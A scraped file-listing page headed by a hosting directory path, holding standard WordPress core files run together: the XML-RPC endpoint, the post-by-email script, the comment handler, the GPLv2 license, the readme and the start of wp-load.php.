PATH:
home
/
ediuae
/
.cagefs
/
tmp
<?php /** * XML-RPC protocol support for WordPress * * @package WordPress */ /** * Whether this is an XML-RPC Request. * * @var bool */ define( 'XMLRPC_REQUEST', true ); // Discard unneeded cookies sent by some browser-embedded clients. $_COOKIE = array(); // $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0. // phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved if ( ! isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } // Fix for mozBlog and other cases where '<?xml' isn't on the very first line. $HTTP_RAW_POST_DATA = trim( $HTTP_RAW_POST_DATA ); // phpcs:enable /** Include the bootstrap for setting up WordPress environment */ require_once __DIR__ . '/wp-load.php'; if ( isset( $_GET['rsd'] ) ) { // https://cyber.harvard.edu/blogs/gems/tech/rsd.html header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true ); echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>'; ?> <rsd version="1.0" xmlns="http://archipelago.phrasewise.com/rsd"> <service> <engineName>WordPress</engineName> <engineLink>https://wordpress.org/</engineLink> <homePageLink><?php bloginfo_rss( 'url' ); ?></homePageLink> <apis> <api name="WordPress" blogID="1" preferred="true" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" /> <api name="Movable Type" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" /> <api name="MetaWeblog" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" /> <api name="Blogger" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" /> <?php /** * Fires when adding APIs to the Really Simple Discovery (RSD) endpoint. * * @link https://cyber.harvard.edu/blogs/gems/tech/rsd.html * * @since 3.5.0 */ do_action( 'xmlrpc_rsd_apis' ); ?> </apis> </service> </rsd> <?php exit; } require_once ABSPATH . 'wp-admin/includes/admin.php'; require_once ABSPATH . WPINC . '/class-IXR.php'; require_once ABSPATH . WPINC . '/class-wp-xmlrpc-server.php'; /** * Posts submitted via the XML-RPC interface get that title * * @name post_default_title * @var string */ $post_default_title = ''; /** * Filters the class used for handling XML-RPC requests. * * @since 3.1.0 * * @param string $class The name of the XML-RPC server class. */ $wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' ); $wp_xmlrpc_server = new $wp_xmlrpc_server_class(); // Fire off the request. $wp_xmlrpc_server->serve_request(); exit; /** * logIO() - Writes logging info to a file. * * @since 1.2.0 * @deprecated 3.4.0 Use error_log() * @see error_log() * * @global int|bool $xmlrpc_logging Whether to enable XML-RPC logging. * * @param string $io Whether input or output. * @param string $msg Information describing logging reason. */ function logIO( $io, $msg ) { _deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' ); if ( ! empty( $GLOBALS['xmlrpc_logging'] ) ) { error_log( $io . ' - ' . $msg ); } } <?php /** * Gets the email message from the user's mailbox to add as * a WordPress post. Mailbox connection information must be * configured under Settings > Writing * * @package WordPress */ /** Make sure that the WordPress bootstrap has run before continuing. */ require __DIR__ . '/wp-load.php'; /** This filter is documented in wp-admin/options.php */ if ( ! apply_filters( 'enable_post_by_email_configuration', true ) ) { wp_die( __( 'This action has been disabled by the administrator.' ), 403 ); } $mailserver_url = get_option( 'mailserver_url' ); if ( empty( $mailserver_url ) || 'mail.example.com' === $mailserver_url ) { wp_die( __( 'This action has been disabled by the administrator.' ), 403 ); } /** * Fires to allow a plugin to do a complete takeover of Post by Email. * * @since 2.9.0 */ do_action( 'wp-mail.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** Get the POP3 class with which to access the mailbox. */ require_once ABSPATH . WPINC . '/class-pop3.php'; /** Only check at this interval for new messages. */ if ( ! defined( 'WP_MAIL_INTERVAL' ) ) { define( 'WP_MAIL_INTERVAL', 5 * MINUTE_IN_SECONDS ); } $last_checked = get_transient( 'mailserver_last_checked' ); if ( $last_checked ) { wp_die( sprintf( // translators: %s human readable rate limit. __( 'Email checks are rate limited to once every %s.' ), human_time_diff( time() - WP_MAIL_INTERVAL, time() ) ), __( 'Slow down, no need to check for new mails so often!' ), 429 ); } set_transient( 'mailserver_last_checked', true, WP_MAIL_INTERVAL ); $time_difference = (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ); $phone_delim = '::'; $pop3 = new POP3(); if ( ! $pop3->connect( get_option( 'mailserver_url' ), get_option( 'mailserver_port' ) ) || ! $pop3->user( get_option( 'mailserver_login' ) ) ) { wp_die( esc_html( $pop3->ERROR ) ); } $count = $pop3->pass( get_option( 'mailserver_pass' ) ); if ( false === $count ) { wp_die( esc_html( $pop3->ERROR ) ); } if ( 0 === $count ) { $pop3->quit(); wp_die( __( 'There does not seem to be any new mail.' ) ); } // Always run as an unauthenticated user. wp_set_current_user( 0 ); for ( $i = 1; $i <= $count; $i++ ) { $message = $pop3->get( $i ); $bodysignal = false; $boundary = ''; $charset = ''; $content = ''; $content_type = ''; $content_transfer_encoding = ''; $post_author = 1; $author_found = false; $post_date = null; $post_date_gmt = null; foreach ( $message as $line ) { // Body signal. if ( strlen( $line ) < 3 ) { $bodysignal = true; } if ( $bodysignal ) { $content .= $line; } else { if ( preg_match( '/Content-Type: /i', $line ) ) { $content_type = trim( $line ); $content_type = substr( $content_type, 14, strlen( $content_type ) - 14 ); $content_type = explode( ';', $content_type ); if ( ! empty( $content_type[1] ) ) { $charset = explode( '=', $content_type[1] ); $charset = ( ! empty( $charset[1] ) ) ? trim( $charset[1] ) : ''; } $content_type = $content_type[0]; } if ( preg_match( '/Content-Transfer-Encoding: /i', $line ) ) { $content_transfer_encoding = trim( $line ); $content_transfer_encoding = substr( $content_transfer_encoding, 27, strlen( $content_transfer_encoding ) - 27 ); $content_transfer_encoding = explode( ';', $content_transfer_encoding ); $content_transfer_encoding = $content_transfer_encoding[0]; } if ( 'multipart/alternative' === $content_type && str_contains( $line, 'boundary="' ) && '' === $boundary ) { $boundary = trim( $line ); $boundary = explode( '"', $boundary ); $boundary = $boundary[1]; } if ( preg_match( '/Subject: /i', $line ) ) { $subject = trim( $line ); $subject = substr( $subject, 9, strlen( $subject ) - 9 ); // Captures any text in the subject before $phone_delim as the subject. if ( function_exists( 'iconv_mime_decode' ) ) { $subject = iconv_mime_decode( $subject, 2, get_option( 'blog_charset' ) ); } else { $subject = wp_iso_descrambler( $subject ); } $subject = explode( $phone_delim, $subject ); $subject = $subject[0]; } /* * Set the author using the email address (From or Reply-To, the last used) * otherwise use the site admin. */ if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) { if ( preg_match( '|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches ) ) { $author = $matches[0]; } else { $author = trim( $line ); } $author = sanitize_email( $author ); if ( is_email( $author ) ) { $userdata = get_user_by( 'email', $author ); if ( ! empty( $userdata ) ) { $post_author = $userdata->ID; $author_found = true; } } } if ( preg_match( '/Date: /i', $line ) ) { // Of the form '20 Mar 2002 20:32:37 +0100'. $ddate = str_replace( 'Date: ', '', trim( $line ) ); // Remove parenthesized timezone string if it exists, as this confuses strtotime(). $ddate = preg_replace( '!\s*\(.+\)\s*$!', '', $ddate ); $ddate_timestamp = strtotime( $ddate ); $post_date = gmdate( 'Y-m-d H:i:s', $ddate_timestamp + $time_difference ); $post_date_gmt = gmdate( 'Y-m-d H:i:s', $ddate_timestamp ); } } } // Set $post_status based on $author_found and on author's publish_posts capability. if ( $author_found ) { $user = new WP_User( $post_author ); $post_status = ( $user->has_cap( 'publish_posts' ) ) ? 'publish' : 'pending'; } else { // Author not found in DB, set status to pending. Author already set to admin. $post_status = 'pending'; } $subject = trim( $subject ); if ( 'multipart/alternative' === $content_type ) { $content = explode( '--' . $boundary, $content ); $content = $content[2]; // Match case-insensitive Content-Transfer-Encoding. if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim ) ) { $content = explode( $delim[0], $content ); $content = $content[1]; } $content = strip_tags( $content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>' ); } $content = trim( $content ); /** * Filters the original content of the email. * * Give Post-By-Email extending plugins full access to the content, either * the raw content, or the content of the last quoted-printable section. * * @since 2.8.0 * * @param string $content The original email content. */ $content = apply_filters( 'wp_mail_original_content', $content ); if ( false !== stripos( $content_transfer_encoding, 'quoted-printable' ) ) { $content = quoted_printable_decode( $content ); } if ( function_exists( 'iconv' ) && ! empty( $charset ) ) { $content = iconv( $charset, get_option( 'blog_charset' ), $content ); } // Captures any text in the body after $phone_delim as the body. $content = explode( $phone_delim, $content ); $content = empty( $content[1] ) ? $content[0] : $content[1]; $content = trim( $content ); /** * Filters the content of the post submitted by email before saving. * * @since 1.2.0 * * @param string $content The email content. */ $post_content = apply_filters( 'phone_content', $content ); $post_title = xmlrpc_getposttitle( $content ); if ( '' === trim( $post_title ) ) { $post_title = $subject; } $post_category = array( get_option( 'default_email_category' ) ); $post_data = compact( 'post_content', 'post_title', 'post_date', 'post_date_gmt', 'post_author', 'post_category', 'post_status' ); $post_data = wp_slash( $post_data ); $post_ID = wp_insert_post( $post_data ); if ( is_wp_error( $post_ID ) ) { echo "\n" . $post_ID->get_error_message(); } // The post wasn't inserted or updated, for whatever reason. Better move forward to the next email. if ( empty( $post_ID ) ) { continue; } /** * Fires after a post submitted by email is published. * * @since 1.2.0 * * @param int $post_ID The post ID. */ do_action( 'publish_phone', $post_ID ); echo "\n<p><strong>" . __( 'Author:' ) . '</strong> ' . esc_html( $post_author ) . '</p>'; echo "\n<p><strong>" . __( 'Posted title:' ) . '</strong> ' . esc_html( $post_title ) . '</p>'; if ( ! $pop3->delete( $i ) ) { echo '<p>' . sprintf( /* translators: %s: POP3 error. */ __( 'Oops: %s' ), esc_html( $pop3->ERROR ) ) . '</p>'; $pop3->reset(); exit; } else { echo '<p>' . sprintf( /* translators: %s: The message ID. */ __( 'Mission complete. Message %s deleted.' ), '<strong>' . $i . '</strong>' ) . '</p>'; } } $pop3->quit(); <?php /** * Handles Comment Post to WordPress and prevents duplicate comment posting. * * @package WordPress */ if ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) { $protocol = $_SERVER['SERVER_PROTOCOL']; if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) { $protocol = 'HTTP/1.0'; } header( 'Allow: POST' ); header( "$protocol 405 Method Not Allowed" ); header( 'Content-Type: text/plain' ); exit; } /** Sets up the WordPress Environment. */ require __DIR__ . '/wp-load.php'; nocache_headers(); $comment = wp_handle_comment_submission( wp_unslash( $_POST ) ); if ( is_wp_error( $comment ) ) { $data = (int) $comment->get_error_data(); if ( ! empty( $data ) ) { wp_die( '<p>' . $comment->get_error_message() . '</p>', __( 'Comment Submission Failure' ), array( 'response' => $data, 'back_link' => true, ) ); } else { exit; } } $user = wp_get_current_user(); $cookies_consent = ( isset( $_POST['wp-comment-cookies-consent'] ) ); /** * Fires after comment cookies are set. * * @since 3.4.0 * @since 4.9.6 The `$cookies_consent` parameter was added. * * @param WP_Comment $comment Comment object. * @param WP_User $user Comment author's user object. The user may not exist. * @param bool $cookies_consent Comment author's consent to store cookies. */ do_action( 'set_comment_cookies', $comment, $user, $cookies_consent ); $location = empty( $_POST['redirect_to'] ) ? get_comment_link( $comment ) : $_POST['redirect_to'] . '#comment-' . $comment->comment_ID; // If user didn't consent to cookies, add specific query arguments to display the awaiting moderation message. if ( ! $cookies_consent && 'unapproved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_author_email ) ) { $location = add_query_arg( array( 'unapproved' => $comment->comment_ID, 'moderation-hash' => wp_hash( $comment->comment_date_gmt ), ), $location ); } /** * Filters the location URI to send the commenter after posting. * * @since 2.0.5 * * @param string $location The 'redirect_to' URI sent via $_POST. * @param WP_Comment $comment Comment object. */ $location = apply_filters( 'comment_post_redirect', $location, $comment ); wp_safe_redirect( $location ); exit; WordPress - Web publishing software Copyright 2011-2025 by the contributors This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA This program incorporates work covered by the following copyright and permission notices: b2 is (c) 2001, 2002 Michel Valdrighi - Cafelog Wherever third party code has been used, credit has been given in the code's comments. b2 is released under the GPL and WordPress - Web publishing software Copyright 2003-2010 by the contributors WordPress is released under the GPL =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. WRITTEN OFFER The source code for any program binaries or compressed scripts that are included with WordPress can be freely obtained at the following URL: https://wordpress.org/download/source/ <!DOCTYPE html> <html lang="en"> <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="robots" content="noindex,nofollow" /> <title>WordPress › ReadMe</title> <link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" /> </head> <body> <h1 id="logo"> <a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a> </h1> <p style="text-align: center">Semantic Personal Publishing Platform</p> <h2>First Things First</h2> <p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I am proud to be a part of. Thousands of hours have gone into WordPress, and we are dedicated to making it better every day. Thank you for making it part of your world.</p> <p style="text-align: right">— Matt Mullenweg</p> <h2>Installation: Famous 5-minute install</h2> <ol> <li>Unzip the package in an empty directory and upload everything.</li> <li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details. <ol> <li>If for some reason this does not work, do not worry. It may not work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li> <li>Save the file as <code>wp-config.php</code> and upload it.</li> <li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li> </ol> </li> <li>Once the configuration file is set up, the installer will set up the tables needed for your site. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/forums/">WordPress support forums</a> with as much data as you can gather.</li> <li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li> <li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on “Profile” to change the password.</li> </ol> <h2>Updating</h2> <h3>Using the Automatic Updater</h3> <ol> <li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li> <li>You wanted more, perhaps? That’s it!</li> </ol> <h3>Updating Manually</h3> <ol> <li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li> <li>Delete your old WordPress files, saving ones you’ve modified.</li> <li>Upload the new files.</li> <li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li> </ol> <h2>Migrating from other systems</h2> <p>WordPress can <a href="https://developer.wordpress.org/advanced-administration/wordpress/import/">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php">our import tools</a>.</p> <h2>System Requirements</h2> <ul> <li><a href="https://www.php.net/">PHP</a> version <strong>7.2.24</strong> or greater.</li> <li><a href="https://www.mysql.com/">MySQL</a> version <strong>5.5.5</strong> or greater.</li> </ul> <h3>Recommendations</h3> <ul> <li><a href="https://www.php.net/">PHP</a> version <strong>8.3</strong> or greater.</li> <li><a href="https://www.mysql.com/">MySQL</a> version <strong>8.0</strong> or greater OR <a href="https://mariadb.org/">MariaDB</a> version <strong>10.6</strong> or greater.</li> <li>The <a href="https://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li> <li><a href="https://wordpress.org/news/2016/12/moving-toward-ssl/">HTTPS</a> support.</li> <li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li> </ul> <h2>Online Resources</h2> <p>If you have any questions that are not addressed in this document, please take advantage of WordPress’ numerous online resources:</p> <dl> <dt><a href="https://wordpress.org/documentation/">HelpHub</a></dt> <dd>HelpHub is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd> <dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt> <dd>This is where you’ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd> <dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt> <dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd> <dt><a href="https://wordpress.org/support/forums/">WordPress Support Forums</a></dt> <dd>If you’ve looked everywhere and still cannot find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd> <dt><a href="https://make.wordpress.org/support/handbook/appendix/other-support-locations/introduction-to-irc/">WordPress <abbr>IRC</abbr> (Internet Relay Chat) Channel</a></dt> <dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="https://web.libera.chat/#wordpress">irc.libera.chat #wordpress</a>)</dd> </dl> <h2>Final Notes</h2> <ul> <li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/forums/">Support Forums</a>.</li> <li>WordPress has a robust plugin <abbr>API</abbr> (Application Programming Interface) that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://developer.wordpress.org/plugins/">Plugin Developer Handbook</a>. You shouldn’t modify any of the core code.</li> </ul> <h2>Share the Love</h2> <p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgeable than yourself, or writing the author of a media article that overlooks us.</p> <p>WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/">donating</a>.</p> <h2>License</h2> <p>WordPress is free software, and is released under the terms of the <abbr>GPL</abbr> (GNU General Public License) version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p> </body> </html> <?php /** * Bootstrap file for setting the ABSPATH constant * and loading the wp-config.php file. The wp-config.php * file will then load the wp-settings.php file, which * will then set up the WordPress environment. * * If the wp-config.php file is not found then an error * will be displayed asking the visitor to set up the * wp-config.php file. * * Will also search for wp-config.php in 